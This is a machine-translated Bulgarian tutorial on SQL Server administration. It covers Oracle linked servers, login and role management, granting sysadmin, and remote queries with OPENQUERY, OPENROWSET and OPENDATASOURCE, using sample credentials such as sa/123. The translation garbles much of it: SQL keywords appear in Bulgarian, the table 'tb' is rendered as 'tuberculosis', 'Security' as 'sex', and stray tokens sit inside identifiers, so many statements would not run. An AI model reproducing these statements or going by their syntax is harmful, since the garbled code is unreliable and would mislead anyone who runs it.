5) Open SQL SERVER Management Studio, име на екземпляра (ORCL) - сървърен обект (десен бутон) - нов сървър за връзка.
1.
Link сървър: Напишете името на свързания сървър, като OracleTest
2. Тип сървър, изберете друг източник на данни
3. Интерфейс за достъп: Изберете Oracle Provider за OLE DB
4. Име на продукта: Write Oracle
5. Източник на данни: Описание
Името на услугата, конфигурирано във файла tnsnames.ora, като например ORCL
6. Access interface string: userid=sys as sysdba; парола=парола
7. На страницата Избор на опции за сигурност използвайте този контекст на инсталацията, за да установите връзка:
a) Remote Login: потребител (друг потребител, не sys)
b)
Използвайте парола: парола
8. Задайте "NT AUTHORITY\SYSTEM" на локалния вход, отдалечен потребителски SYS и задайте паролата
9.
Сигурни ли сте
6) Има два начина за писане на SQL
a) Използване на T-SQL синтаксис:
ИЗБЕРИ * ОТ
OraTest.ERP.BAS_ITEM_CLASS
Обърнете внимание, че при въвеждане на SQL оператори в SQL Query Analyzer обърнете внимание на китайското превключване на full-width и halfwidth
Начин!
b) Използвайте PLSQL синтаксис: SELECT * FROM openquery(OraTest,'SELECT * FROM
OraTest.ERP.BAS_ITEM_CLASS ')
в) Вторият метод за достъп е около 50% по-бърз от първия; Вторият метод за достъп е директно свързан
ORACLE е сравним; Първият метод на достъп може да доведе до някои неочаквани грешки, като: Таблицата не съществува, нито настоящият потребител
Няма достъп до масата и така нататък.
г) Ако колоната, до която трябва да се достъпи, използва типове данни без прецизност, и двете
Това е грешка на ORACLE, която не може да бъде поправена и може да бъде избегната само чрез специална обработка на заявени оператори:
Метаданните, предоставени от доставчика на OLE DB 'OraOLEDB.Oracle' за колоните, са несъвместими. Информацията от метаданните се променя при изпълнение.
MSSQL добавен
Изтрийте потребителя и дайте разрешения
Използвай името на библиотеката си Върви --Добавете потребители exec sp_addlogin 'test' -- добави вход Изпълнителен директор
sp_grantdbaccess N'test' – което го прави легитимен потребител на текущата база данни изпълнителен sp_addrolemember N'db_owner',
N'test' - предоставя всички права на собствената им база данни --Това създава потребители, които могат да имат достъп само до собствената си база данни и до това, което е включено в базата данни
Публична таблица за гост-потребители Върви --Премахнете тестовия потребител exec sp_revokedbaccess N'test' -- Премахнете достъпа до базата данни
Граница exec sp_droplogin N'test' -- изтрий входа Ако го създадеш в Enterprise Manager, използвай: Enterprise Manager - Сигурност
Секс --Десен клик Вход – Нов вход Общи елементи --Въведете потребителското име в името
--Методът на удостоверяване се избира според вашите нужди (ако използвате Windows автентикация, първо трябва да създадете нов потребител сред потребителите на операционната система)
--В настройките по подразбиране изберете името на базата данни, до което искате достъп за новия потребител Елемент за роля на сървъра Не избирай нищо в това база данни
Елемент за достъп Проверете името на базата данни, до която искате да достъпите за потребителя, когото създавате Позволете ролята на база данни, отметнете "публично", "db_ownew". Разбира се, това
Потребителят, създаден от извадката, е същият като потребителя, създаден от горното твърдение
Последната стъпка е да се зададат конкретни права за достъп за конкретни потребители, които могат да се позовават на следния минимален пример:
--Добавете потребители, които имат право да имат достъп само до посочената таблица: Exec sp_addlogin 'потребителско име', 'парола', 'стандартно име на базата данни'
--добави към базата данни exec sp_grantdbaccess 'потребителско име'
--Присвояване на разрешения за цялата таблица ДАЙТЕ ИЗБОР , ВМЪКВАНЕ, АКТУАЛИЗИРАНЕ , ИЗТРИВАНЕ в таблица 1 ДО [потребителско име] --Присвояване на разрешения на конкретни колони GRANT SELECT, UPDATE на table1(id,AA) ДО [потребителско име]
За конкретни настройки за сигурност и теоретични знания, моля, вижте SQL Online Help
Фиксирано описание на ролята в базата данни db_owner Да имат пълни права в базата данни.
db_accessadmin Можете да добавяте или премахвате потребителски ID-та.
db_securityadmin Може да управлява пълни права, собственост на обекти, роли и членства в роли.
db_ddladmin могат да издават ВСИЧКИ DDL, но не и GRANT, Reevoke или DENY изявления.
db_backupoperator могат да издават DBCC, CHECKPOINT и BACKUP изказвания.
db_datareader Можете да изберете всички данни от всяка потребителска таблица в базата данни.
db_datawriter Можете да променяте всички данни във всяка потребителска таблица в базата данни.
db_denydatareader Не можете да изберете никакви данни от която и да е потребителска таблица в базата данни.
db_denydatawriter Не можете да променяте никакви данни в нито една потребителска таблица в базата данни.
Трябва да изберете db_datareader, db_datawriter, db_accessadmin
5. След стартиране на SQL Server инстанцията в режим за един потребител, администраторският акаунт на Windows може да използва sqlcmd инструмента, за да се свърже в режим на удостоверяване на Windows
SQL Server。 Можете да използвате T-SQL команди като "sp_addsrvrolemember", за да добавите съществуващ логин към ролята на системния администратор
Или създайте нов акаунт за вход. Примерно твърдение е следното:
EXEC sp_addsrvrolemember 'CONTOSO\Buck', 'sysadmin';
ВЪРВИ
Добавете привилегия за системен администратор
(1) Управление на сървърните роли
В SQL Server има две основни съхранени процедури, които реализират управление на роли в SQL Server:
sp_addsrvrolemember
и sp_dropsrvrolemember
sp_addsrvrolemember Можеш да добавиш акаунт за вход към сървърна роля, за да я направиш член на тази сървърна роля. Синтаксисът е следният: sp_addsrvrolemember
login, роля
sp_dropsrvrolemember Можеш да изтриеш акаунт за вход от сървърна роля и когато членът бъде премахнат от сървърната роля, той вече няма тази роля
Разрешенията са зададени. Синтаксисът е следният: sp_dropsrvrolemember [@loginname=]'login',[@rolename=]'role'
В това състояние
@loginname е името на влязъл потребител; @rolename е роля на сървър.
(2) Управление на ролите в бази данни
В SQL Server се поддържа управление на бази данни
Съществуват шест основни типа съхранявани процедури, а техните специфични значения и синтаксис са следните:
sp_addrole: Използва се за създаване на нова роля в база данни; sp_addrole
Роля, собственик
sp_droprole: Използва се за премахване на ролята на база данни от текущата роля на базата данни; sp_droprole роля
sp_helprole:
Използва се за показване на цялата информация за всички роли в базата данни в текущата база данни; sp_helprole ['роля']
sp_addrolemember: Използваше се за изпращане към базата данни
Добавете потребители на бази данни към дадена роля, която може да бъде потребителски дефинирана стандартна роля или фиксирана роля в базата данни, но не може да бъде
Кандидатски роли. sp_addrolemember роля, security_account
sp_droprolemember: Използва се за изтриване на определен персонаж
домакинство; sp_droprolemember роля, security_account
sp_helprolemember: Използва се за показване на всички членове на ролята в база данни
。 sp_helprolemember ['роля']
MSSQL LINKSERVER заявка
---------------------------------------------------------------------------------- -- Автор:
htl258(Тони) -- Дата: 2010-06-25 22:23:18 -- Версия: Microsoft SQL Server 2008 (RTM) -
10.0.1600.22 (Intel X86) -- 9 юли 2008 14:43:34 -- Авторски права (c) 1988-2008 Microsoft Corporation --
Developer Edition за Windows NT 5.1 (Build 2600: Service Pack 2) -- Блог : -- Тема: SQL операции с данни между различни сървърни бази данни ---------------------------------------------------------------------------------- --1. Създайте сървър за връзки --1.1 Създаване на име на връзка EXEC sp_addlinkedserver 'LinkName','','SQLOLEDB',' името на отдалечения сървър
или IP адрес' -- Ако имате персонализирано име на инстанция, добавете "\instance name"
/*例如:EXEC sp_addlinkedserver
'TonyLink','','SQLOLEDB','192.168.58.208' */ --1.2 Създай логин (или създай карта за вход на link сървъра) (просто избери един начин) --1.2.1 Влезте с Windows автентикация EXEC sp_addlinkedsrvlogin 'LinkName' --или EXEC sp_addlinkedsrvlogin 'LinkName', 'true'
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */ --1.2.2 Влезте с SQL автентикация EXEC sp_addlinkedsrvlogin 'LinkName','false', NULL,'Username','Password'
/*例如:EXEC
sp_addlinkedsrvlogin 'TonyLink','false', null,'sa','123' */ --2. Операции с данни, свързани със сървъра на връзката --2.1 Пример за заявка SELECT * ОТ LinkName.database name.schema name.table name
/*例如:SELECT *
ОТ TonyLink.Mydb.dbo.tb */ -- 2.2 Пример за импорт SELECT * INTO table name FROM LinkName.database name.schema name.table name
/*例如:SELECT * INTO Newtb
ОТ TonyLink.Mydb.dbo.tb */ -- 2.3 Пример за актуализация АКТУАЛИЗАЦИЯ LinkName.Database Name.Schema Name.Table Name SET field='value' WHERE field='condition'
/*例如:UPDATE
TonyLink.Mydb.dbo.tb SET Лица='g' КЪДЕ Лица='a' */ -- 2.4 Изтриване на примери ИЗТРИЙ LinkName.Database Name.Schema Name.Table Name WHERE field name='condition'
/*例如:DELETE
TonyLink.Mydb.dbo.tb КЪДЕ Лица='g' */ --3 чрез функцията за редове (OPENQUERY/OPENROWSET/OPENDATASOURCE).
Метод
- 3.1 OPENQUERY метод (изисква помощта на току-що създадения линк сървър): -- 3.1.1 Пример за заявка SELECT * FROM OPENQUERY(LinkName, 'SELECT * ОТ име на база данни). Архитектурно име. Име на таблицата')
/* Например: SELECT * FROM OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') */ -- 3.1.2 Примери за импорт --3.1.2.1 Импортиране на всички колони INSERT OPENQUERY(LinkName, 'SELECT * FROM име на база данни. Архитектурно име. Име на таблицата
') SELECT * ОТ локалната таблица
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *
ОТ TB */ --3.1.2.2 Импортирайте посочените колони INSERT OPENQUERY(LinkName, 'SELECT * FROM име на база данни. Архитектурно име. име на таблица') (колона, колона...) Колона SELECT,
Колона... ОТ местната таблица
/* Например: INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGE,LEVEL,Persons) ОТБРАН
ДИАПАЗОН, НИВО, Лица от туберкулоза */ --3.1.3 Примери за актуализации UPDATE OPENQUERY(LinkName, 'SELECT * FROM име на база данни. Архитектурно име. име на таблица') поле SET = 'стойност' WHERE дума
Сегмент = "Състояние"
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE
Личности='a' */ --3.1.4 Изтриване на примери ИЗТРИ OPENQUERY(LinkName, 'SELECT * FROM име на база данни. Архитектурно име. име на таблица') WHERE име на полето='състояние'
/*例
Например: DELETE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') КЪДЕТО Persons='g' */ --3.2 OPENROWSET метод (не е нужно да използвате създаденото име на връзката.) Ако името на свързаната инстанция не е по подразбиране, трябва да го зададете в име на SQL сървър или IP адрес.
"\instance name") --3.2.1 Пример за заявка --3.2.1.1 Заявка за метод за удостоверяване на Windows (един от следните методи е достатъчен) ИЗБЕРЕТЕ * ОТ OPENROWSET('SQLOLEDB', 'server=име на sql сървър или
IP адрес; Trusted_Connection=yes', име на базата данни. Архитектурно име. Име на таблицата) ИЗБЕРЕТЕ * ОТ OPENROWSET('SQLNCLI',
'server=име или IP адрес на sql сървър; Trusted_Connection=yes', име на базата данни. Архитектурно име. Име на таблицата) ИЗБЕРИ * ОТ
OPENROWSET('SQLOLEDB', 'server=име или IP адрес на sql сървър; Trusted_Connection=yes','SELECT * FROM база данни
Име. Архитектурно име. Име на таблицата') ИЗБЕРЕТЕ * ОТ OPENROWSET('SQLNCLI', 'server=име или IP адрес на sql сървър
Адрес; Trusted_Connection=yes','SELECT * FROM име на базата данни. Архитектурно име. Име на таблицата')
/* Например: SELECT * ОТ OPENROWSET
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=yes',Mydb.dbo.tb)
Или: ИЗБЕРЕТЕ * ОТ OPENROWSET
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=yes',Mydb.dbo.tb)
Или: ИЗБЕРЕТЕ * ОТ OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=да','SELECT *
ОТ Mydb.dbo.tb')
Или: ИЗБЕРЕТЕ * ОТ OPENROWSET('SQLNCLI','Server=192.168.58.208; Trusted_Connection=да','SELECT *
ОТ Mydb.dbo.tb') */ --3.2.1.2 SQL Authentication Method Query (Един от следните методи е достатъчен) ИЗБЕРЕТЕ * ОТ OPENROWSET
('SQLOLEDB', 'server=име или IP адрес на sql сървър; uid=потребителско име; pwd=парола', име на базата данни. Архитектурно име. Име на таблицата) ИЗБЕРИ * ОТ
OPENROWSET('SQLNCLI', 'server=име или IP адрес на sql сървър; uid=потребителско име; pwd=парола', име на базата данни. Архитектурно име. Име на таблицата) ИЗБЕРЕТЕ * ОТ OPENROWSET('SQLOLEDB', 'server=име или IP адрес на sql сървър; uid=потребителско име; pwd=парола','SELECT *
ОТ името на базата данни. Архитектурно име. Име на таблицата') ИЗБЕРЕТЕ * ОТ OPENROWSET('SQLNCLI', 'server=име или IP адрес на sql сървър; uid=
Потребителско име; pwd=password','SELECT * FROM име на базата данни. Архитектурно име. Име на таблицата') ИЗБЕРЕТЕ * ОТ OPENROWSET('SQLOLEDB', 'sql
име на сървъра'; "потребителско име"; 'password', име на базата данни. Архитектурно име. Име на таблицата) ИЗБЕРЕТЕ * ОТ OPENROWSET('SQLNCLI', 'ИМЕ НА SQL СЪРВЪР
'; "потребителско име"; 'password', име на базата данни. Архитектурно име. Име на таблицата) ИЗБЕРЕТЕ * ОТ OPENROWSET('SQLOLEDB', 'ИМЕ НА SQL СЪРВЪР'; ' потребител
име'; 'Парола', 'ИЗБЕРИ * ОТ име на базата данни. Архитектурно име. Име на таблицата') ИЗБЕРЕТЕ * ОТ OPENROWSET('SQLNCLI', 'sql сървър
име'; "потребителско име"; 'Парола', 'ИЗБЕРИ * ОТ име на базата данни. Архитектурно име. Име на таблицата')
/* 例如:SELECT * FROM OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) Или: ИЗБЕРЕТЕ * ОТ OPENROWSET
('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) Или: ИЗБЕРЕТЕ * ОТ OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123','SELECT * ОТ Mydb.dbo.tb')
или: ИЗБЕРЕТЕ * ОТ OPENROWSET('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123','SELECT * FROM
Mydb.dbo.tb')
или: ИЗБЕРЕТЕ * ОТ OPENROWSET('SQLOLEDB','192.168.58.208'; 'са'; '123', mydb.dbo.tb)
или: ИЗБЕРЕТЕ * ОТ OPENROWSET('SQLNCLI','192.168.58.208'; 'са'; '123', mydb.dbo.tb)
или: ИЗБЕРЕТЕ * ОТ OPENROWSET('SQLOLEDB','192.168.58.208'; 'са'; '123','SELECT * ОТ Mydb.dbo.tb')
или: ИЗБЕРЕТЕ * ОТ OPENROWSET('SQLNCLI','192.168.58.208'; 'са'; '123','SELECT * ОТ Mydb.dbo.tb') */ --3.2.2 Пример за импорт --3.2.2.1 Импортиране на всички колони INSERT OPENROWSET('SQLOLEDB', 'server=име или IP адрес на sql сървър
Адрес; uid=потребителско име; pwd=парола', име на базата данни. Архитектурно име. Име на таблицата) ИЗБЕРЕТЕ * ОТ локалната таблица
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) SELECT * ОТ TB */ --3.2.2.2 Импорт
Задайте колони ВМЪКНЕТЕ OPENROWSET('SQLOLEDB', 'server=име или IP адрес на sql сървър; uid=потребителско име; pwd=парола', име на базата данни. Rack
Име на конструкцията. Име на таблица) (колона, колона...) SELECT колона, колона... ОТ местната таблица
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)(ДИАПАЗОН, НИВО, Лица) ОТБРАН
ДИАПАЗОН, НИВО, Лица от туберкулоза */ --Забележка: За по-алтернативни методи вижте примера с заявка .2.1, просто заменете функцията OPENROWSET
Съдържанието е достатъчно. --3.2.3 Пример за актуализация АКТУАЛИЗИРАЙ OPENROWSET('SQLOLEDB', 'server=име или IP адрес на sql сървър; uid=потребителско име
;p wd=password', име на базата данни. Архитектурно име. Име на таблицата) SET поле = 'стойност' WHERE поле = "състояние"
/*例如:UPDATE OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) SET Persons='g' КЪДЕТО Лица='a' */ --Забележка: За по-алтернативни методи вижте примера с заявка .2.1, просто заменете съдържанието в OPENROWSET. --3.2.4 Изтрий индикацията
Пример ИЗТРИЙ OPENROWSET('SQLOLEDB', 'server=име или IP адрес на sql сървър; uid=потребителско име; pwd=парола', име на базата данни. Име на схемата
.table name) WHERE име на полето='състояние'
/* Например: DELETE OPENROWSET('SQLOLEDB,'server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) КЪДЕТО
Личности='g' */ --Забележка: За по-алтернативни методи вижте примера с заявка .2.1, просто заменете съдържанието в OPENROWSET. --3.3 OPENDATASOURCE метод
(Не е нужно да използвате името на създадената връзка.) Ако името на инстанцията на връзката не е по подразбиране, трябва да добавите \instance име след името на SQL сървъра или IP адреса
") --3.3.1 Пример за заявка --3.3.1.1 Заявка за метод за удостоверяване на Windows (Един от следните методи е достатъчен) ИЗБЕРЕТЕ * ОТ OPENDATASOURCE('SQLOLEDB',
'server=име или IP адрес на sql сървър; Trusted_Connection=да'). Име на базата данни. Архитектурно име. Име на таблицата ИЗБЕРИ * ОТ
OPENDATASOURCE('SQLNCLI', 'server=име или IP адрес на sql сървър; Trusted_Connection=да'). Име на базата данни. Архитектурно име.
Име на таблицата
/* Например: SELECT * от opendatasource
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=да'). Mydb.dbo.tb
Или: ИЗБЕРЕТЕ * ОТ OPENDATASOURCE
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=да'). Mydb.dbo.tb */ --3.3.1.2 SQL заявка за метод за удостоверяване (един от следните методи е достатъчен) ИЗБЕРЕТЕ * ОТ OPENDATASOURCE('SQLOLEDB', 'server=име на sql сървър или
IP адрес; uid=потребителско име; pwd=парола'). Име на базата данни. Архитектурно име. Име на таблицата ИЗБЕРЕТЕ * ОТ OPENDATASOURCE('SQLNCLI', 'server=име или IP адрес на sql сървър; uid=user
Име; pwd=парола'). Име на базата данни. Архитектурно име. Име на таблицата ИЗБЕРЕТЕ * ОТ OPENDATASOURCE('SQLOLEDB', 'Data Source=име или IP адрес на sql сървър
Адрес; uid=потребителско име; pwd=парола'). Име на базата данни. Архитектурно име. Име на таблицата ИЗБЕРЕТЕ * ОТ OPENDATASOURCE('SQLNCLI', 'Data Source=име или IP адрес на sql сървър
Адрес; uid=потребителско име; pwd=парола'). Име на базата данни. Архитектурно име. Име на таблицата
/* 例如:SELECT * FROM OPENDATASOURCE
('SQLOLEDB','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Или: ИЗБЕРЕТЕ * ОТ OPENDATASOURCE('SQLNCLI','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Или: ИЗБЕРЕТЕ * ОТ OPENDATASOURCE('SQLOLEDB,'Data
Източник=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Или: ИЗБЕРЕТЕ * ОТ OPENDATASOURCE('SQLNCLI,'Data
източник=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb */ Импортиране на всички колони ВМЪКНЕТЕ OPENDATASOURCE('SQLOLEDB', 'server=име или IP адрес на sql сървър; uid=потребителско име; pwd=парола').
Според името на библиотеката. Архитектурно име. Име на таблицата ИЗБЕРЕТЕ * ОТ локалната таблица
/* Например: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb ОТБРАН
* ОТ туберкулозата */ --3.3.2.2 Импортирайте посочените колони ВМЪКНЕТЕ OPENDATASOURCE('SQLOLEDB', 'server=име или IP адрес на sql сървър; uid=потребителско име; pwd=парола').
Според името на библиотеката. Архитектурно име. Име на таблица (колона, колона...) SELECT колона, колона... ОТ местната таблица
/* Например: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
(ОБХВАТ, НИВО, Лица) ИЗБЕРЕТЕ ДИАПАЗОН, НИВО, Лица ОТ туберкулоза */ --Забележка: За по-алтернативни методи вижте примера с заявка .3.1, просто заменете съдържанието във функцията на редовия набор (OPENDATASOURCE). --3.3.3 Пример за актуализация ОБНОВИ OPENDATASOURCE('SQLOLEDB', 'server=име или IP адрес на sql сървър; uid=потребителско име; pwd=парола'). Име на базата данни. Архитектурно име. Име на таблицата SET поле = 'стойност' WHERE поле = "състояние"
/*例如:UPDATE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb SET Persons='g' КЪДЕТО Лица='a' */ --Забележка: За по-алтернативни методи вижте примера с заявка .3.1, просто заменете съдържанието във функцията на редовия набор (OPENDATASOURCE). --3.3.4 Пример за изтриване ИЗТРИЙ OPENDATASOURCE('SQLOLEDB', 'server=име или IP адрес на sql сървър; uid=потребителско име; pwd=парола'). Име на базата данни. Архитектурно име. Име на таблицата WHERE име на полето='състояние'
/*例如:DELETE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb КЪДЕТО Лица='g' */ - Забележка: Още алтернативи
Вижте примера с заявка .3.1, просто заменете съдържанието в функцията на rowset (OPENDATASOURCE). -- Изтрий метода на свързания сървър --Ако в бъдеще вече не използвате информацията за връзката, можете да изтриете информацията за връзката --4.1 Изтрийте информацията за вход (или изтрийте карта на имената на сървъра) EXEC sp_droplinkedsrvlogin 'LinkName',NULL
/* Например: EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */ --4.2 Изтрийте името на свързания сървър EXEC sp_dropserver 'LinkName','droplogins' — ако са посочени droplogins, Картата за вход трябва да бъде изтрита преди изтриване на свързания сървър
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */
--Прикачено
: Как да получите името на доставчика (EXEC master). xp_enum_oledb_providers) ИЗБЕРЕТЕ CAST([Име на доставчика] AS
VARCHAR(30)) ProviderName, CAST([Provider Descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion ОТ
OPENROWSET( 'SQLOLEDB', 'Сървър=.; Trusted_Connection=да', "ЗАДЕЙСТВАЙ ФМТОНИ; EXEC
Учителю.. xp_enum_oledb_providers'
)
|